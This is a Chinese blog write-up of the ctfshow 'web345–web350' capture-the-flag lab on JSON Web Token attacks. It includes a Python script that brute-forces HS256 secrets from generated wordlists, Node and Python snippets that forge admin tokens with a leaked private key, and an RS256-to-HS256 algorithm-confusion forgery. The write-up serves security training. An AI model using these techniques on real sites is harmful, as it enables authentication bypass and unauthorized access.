ctfshow web入门 jwt web345~web350

学习链接

web345

cookie值是base64,直接base64解密,把user改为admin,然后再base64加密,放入cookie。

然后访问/admin/


web346

https://jwt.io/

把cookie值放到上面的网站里解码,把user改为admin,然后猜测秘钥是123456,把之后的base64的jwt传入cookie,然后访问/admin/。


web347

使用pydictor,生成6位数字的字典。

 python .\pydictor.py -base d --len 1 6 -o nums.txt

然后跑脚本:

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-06 16:34:57
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-06 19:34:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

import jwt
import json

def runblasting(path,jwt_str,alg):
    if alg == "none":
       alg = "HS256"
    with open(path,encoding='utf-8') as f:
        for line in f:
            key_ = line.strip()
            print('use '+key_)
            try:
                jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
                print('found key! --> ' +  key_)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' +  key_)
                break
            except(jwt.exceptions.InvalidSignatureError):
                continue
        else:
            print("key not found!")

if __name__ == '__main__':
    runblasting('nums.txt','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzg3NjQ4MCwiZXhwIjoxNjI3ODgzNjgwLCJuYmYiOjE2Mjc4NzY0ODAsInN1YiI6InVzZXIiLCJqdGkiOiJjMGYzODkwMmE1ODE4ZjhlMjM5Yzg3N2EwNzZmNmU5MCJ9.o68KTTbu7V2enU4dXXASeJs6rJbNbVbLtoEqC_WMqBo','HS256')

得到key是123456,在 https://jwt.io/ 改admin,输入秘钥123456,然后发送cookie,访问/admin/ 。


web348

生成1~4位的小写字母字典。

python .\pydictor.py -base L --len 1 4 -o keys.txt

用上面的脚本,爆破得秘钥aaab

然后在网站换admin。


web349

利用私钥生成jwt,利用公钥解密jwt,所以我们只要有私钥然后自己重新生成就可以了。

访问 /private.key 得到私钥。

运行下面的js代码生成jwt (需要安装jsonwebtoken库 npm install jsonwebtoken --save)。

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

修改cookie后post方式访问就可以得到flag。

或者python代码得到jwt:

import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

web350

访问/public.key获得公钥。

将RS256算法改为HS256(非对称密码算法=>对称密码算法)

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kikkeve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值